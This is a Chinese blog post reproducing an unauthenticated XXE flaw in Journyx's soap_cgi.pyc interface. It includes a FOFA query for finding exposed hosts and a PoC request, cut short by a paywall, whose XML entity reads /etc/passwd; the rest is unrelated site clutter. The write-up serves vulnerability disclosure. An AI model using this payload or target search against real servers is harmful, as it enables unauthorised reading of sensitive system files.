Journyx项目管理软件 soap_cgi.pyc XXE漏洞复现

已于 2024-08-08 23:02:24 修改
阅读量54 收藏
点赞数
分类专栏： 漏洞复现 文章标签： 安全 web安全
于 2024-08-08 23:01:03 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_41904294/article/details/141038412
版权

0x01 产品简介

Journyx-Journyx成立于1996年，提供自托管项目管理解决方案ProjectXecute。主要功能包括资源跟踪、待办事项列表、任务分配以及与MS Project的集成。要运行ProjectXecute，需要Windows 2003或更高版本、IIS Web服务器和Intel处理器。也可以在Linux、Solaris、AIS和FreeBSD操作系统上运行此软件。

0x02 漏洞概述

Journyx项目管理软件 soap_cgi.pyc 接口存在XML实体注入漏洞，未经身份认证的攻击者可以利用此漏洞读取系统内部敏感文件，获取敏感信息，使系统处于极不安全的状态。

0x03 复现环境

FOFA：body="Journyx"

0x04 漏洞复现

PoC

POST /jtcgi/soap_cgi.pyc HTTP/1.1
Host: 
User-Agent:Mozilla/5.0 (WindowsNT10.0;Win64; x64) AppleWebKit/537.36 (KHTML, likeGecko)Chrome/96.0.4664.93Safari/537.36
Content-Type: application/xml

<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM "file:///etc/passwd">]><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/
了解本专栏 订阅专栏 解锁全文 超级会员免费看
0xSecl
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
订阅专栏
python 中，什么是 .pyc 文件？这篇文章告诉你
身在边城 心在编程
06-24 3162
文章目录什么是 .pyc文件？1. Python是一门解释型语言？2. 解释型语言和编译型语言3. Python到底是什么4. 简述Python的运行过程5. 给专业人士的一些建议6. 参考链接 什么是 .pyc文件？ 在 Python 程序中，是把原始程序代码放在.py 文件里，而 Python 会在执行.py 文件的时候。将.py 形式的程序编译成中间式文件（byte-compiled）的 .pyc 文件，目的就是为了加快下次执行文件的速度。 所以，在我们运行 python 文件的时候，就会自动
easy_pyc.zip
12-02
标题中的"easy_pyc.zip"表明这是一个压缩文件，通常用于存储和传输一组相关文件。在IT行业中，.zip格式是一种常见的文件压缩格式，它能够将多个文件或目录压缩到一个单一的可下载文件中，以减少存储空间和提高传输...
解决：HINT: remove __pycache__ / .pyc files and/or use a unique basename for your test file modules
语语嫣嫣
11-20 1万+
运行pytest用例，出现如下的报错： root@0d71811f7c01:/var/jenkins_home/workspace/first_python# python3 -m pytest --alluredir=./unit/allure_result ======================================================================= test session starts ===============================
pyinstaller打包后找不到.pyc文件,例如：FileNotFoundError: [WinError 3] 系统找不到指定的路径。: ‘C:\\xx\\torch_utils.pyc‘
weixin_46084533的博客
02-23 2697
pyinstaller打包后找不到.pyc文件,例如：FileNotFoundError: [WinError 3] 系统找不到指定的路径。: 'C:\\xx\\torch_utils.pyc'
git 忽略 __pycache__ 和 .pyc文件
热门推荐
a529975125的博客
03-23 1万+
问题 vscode运行python脚本的时候会出现很多__pycache__文件夹，内含.pyc文件，上传git时这些文件没必要传上去，所以需要在gitignore中加入规则。 解决 在.gitignore中添加 **/__pycache__ 这样可以把文件夹中的__pycache__文件夹忽略，并且子文件夹中的__pycache__也一并忽略。 参考链接 git忽略规则 ...
.pyc文件_[Python进阶].pyc的那点事
weixin_39767983的博客
11-17 2819
1. 什么是 .pyc文件.pyc文件 就是 Python的字节码（byte-compiled）文件。.py文件运行时，python会自动将其编译成PyCodeObject并写入.pyc文件，再有python虚拟机来执行PyCodeObject2. 什么时候会生成pyc文件当 一个模块 被 import 时，或者 .py文件（非top level script）被修改后，则会自动生成.pyc文件，...
Python3中__init__.py文件介绍
网络资源是无限的
10-20 7291
Python中的模块是包含Python定义和语句的文件(A module is a file containing Python definitions and statements)，其文件名是模块名加后缀名.py。在模块内部，通过全局变量__name__可以获取模块名。 模块包含可执行语句及函数定义。这些语句用于初始化模块，且仅在import语句第一次遇到模块名时执行。 模块有自己的私有符号表，用作模块中所有函数的全局符号表。因此，在模块内使用全局变量时，不用担心...
还有人不知道这？Python __init__.py 文件使用
m0_67575344的博客
04-11 6314
init.py的主要作用是： Python中package的标识，不能删除 定义__all__用来模糊导入 编写Python代码(不建议在__init__中写python模块，可以在包中在创建另外的模块来写，尽量保证__init__.py简单） init.py 文件的作用是将文件夹变为一个Python模块,Python 中的每个模块的包中，都有__init__.py 文件。 通常__init__.py 文件为空，但是我们还可以为它增加其他的功能。我们在导入一个包时，实际上是导入了它的__in
Python中module文件夹里__init__.py的功能
兔角与禅
02-24 4044
一般来说，需要引用python模块，可以用如下形式： import xxx import xxx as xx from xxx import xx 比如我们引入numpy模块： In [21]: import numpy In [22]: numpy Out[22]: &lt;module 'numpy' from '/home/chia/anaconda2/lib/python2.7/sit...
python目录中的__init__.py文件详解
T型人小付的博客
05-26 8228
python中使用import来将别的模块导入到自己的脚本里面使用，那么什么样的文件才能被识别为模块，又该如何制作自己的模块呢。这一切都得从__init__.py这个文件说起。 我是T型人小付，一位坚持终身学习的互联网从业者。喜欢我的博客欢迎在csdn上关注我，如果有问题欢迎在底下的评论区交流，谢谢。 文章目录什么是模块？\_\_init\_\_.py文件简化导入筛选导入内容\_\_all\_\_变量初始化操作制作自己的模块 什么是模块？ 模块（module），就是一组共同实现一小块功能的python文
为YCM配置ycm_extra_conf.py脚本
ii0789789789的博客
09-17 3982
配置完YouCompleteMe后启动Vim，在写c++代码的时候，偶尔会出现如no type name XXXX之类的问题。 实际上还是~/.vim/bundle/YouCompleteMe/third_party/ycmd/cpp/ycm/.ycm_extra_conf.py的flag数组没设置好。 这个数组是有顺序要求的，因此调整设置顺序就可以正常运行了 可以根据自己的环境单独进行调整...
simchain.rar_simchain_swamgx8_wallet.pyc是什么_区块链
07-15
区块链simchain代码，模拟区块链的运行过程
html_parser.pyc
12-16
html_parser.pyc
pyimod01_archive.pyc
12-20
pyimod01_archive.pyc
randomFiber3D_plugin.pyc
12-18
randomFiber3D_plugin.pyc
鸿蒙系统开发【加解密算法库框架】安全
2301_76813281的博客
08-02 935
本示例使用@ohos.security.cryptoFramework相关接口实现了对文本文件的加解密、签名验签操作。
供应链安全：黑客攻击 Nimble 包
weixin_47075747的博客
08-04 798
在软件开发领域，包管理器对于管理依赖项和简化开发过程至关重要。但是，这些工具并非对漏洞免疫。今天，我们将深入研究一个有趣的案例研究，了解我如何利用 Nimble 包管理器的漏洞来接管包并可能危害系统。系好安全带；这将是一次技术之旅。
发送邮箱调用接口时需要注意哪些安全事项？
DengHua2203的博客
08-02 424
发送邮箱调用接口时，确保安全性是一个复杂而重要的任务。通过以上措施，可以显著提高接口的安全性。AokSend，发送邮箱调用接口，API与SMTP无缝对接，一键触发，邮件秒达，营销快人一步！
乐凡三防平板|车载三防平板电脑：为行车安全提供保障
最新发布
livefan的博客
08-05 378
1.提升行车安全：车载三防平板电脑可以实时显示车辆信息，为驾驶人员进行导航指引和路况提醒等，帮助驾驶人员更好地掌握行车情况，为行车安全提供重要保障。3.便于安装与使用：车载三防平板电脑设计紧凑、安装简便，有着多种安装固定方式，几乎可以匹配任意车载工作场所，比如叉车、堆高机、汽车、卡车等。1.防水防尘：车载三防平板电脑具备防水、防尘的性能，可以在恶劣的环境中保持正常工作。2.强大功能集成：车载三防平板电脑的功能多样，不仅具备导航、音乐、蓝牙等基本功能，还可灵活拓展NFC、航空插头接口等，以满足不同工作需求。
# deparsing stopped due to parse error ais_utils.pyc -- # decompile failed
09-06
答: 三百字时间有限，我尽我所能回答你的问题。中文是世界上最古老的文字之一，它源于中国，是汉字的表达方式。中文包含了很多音节和意义丰富的词汇，它独特的书写系统使它成为了一种独特而美丽的语言。中文也是世界上使用者最多的语言之一，在中国以及东亚地区有很多人使用中文作为母语。 学习中文可以给你很多好处。首先，学习中文可以帮助你更好地了解中国的文化和历史。中国是世界上最古老和最有影响力的文化之一，学习中文可以帮助你更好地理解中国的传统艺术，哲学和道德观念。其次，学习中文可以帮助你在商业领域有更多机会。中国是世界上最大的经济体之一，学习中文可以帮助你更好地与中国人交流和合作。此外，学习中文还可以提升你的思维能力，因为学习中文需要记忆和理解大量的汉字和词汇。 虽然学习中文有一些困难，但是通过持续的学习和练习，你可以慢慢掌握它。你可以参加中文课程，找一个好的老师来指导你学习，或者参加语言交流活动来提高你的口语能力。在学习过程中要有耐心和毅力，每天都坚持练习才能取得进步。最重要的是要保持兴趣和热情，因为只有你对学习中文有兴趣，才能持续地进行下去。 总之，学习中文是一项具有挑战性但又充满乐趣的任务。它可以帮助你更好地了解中国文化，增加你的商业机会，并提升你的思维能力。无论你学习中文的目的是什么，都要坚持下去，相信自己一定能够成功。希望我的回答对你有帮助。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

0xSecl

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值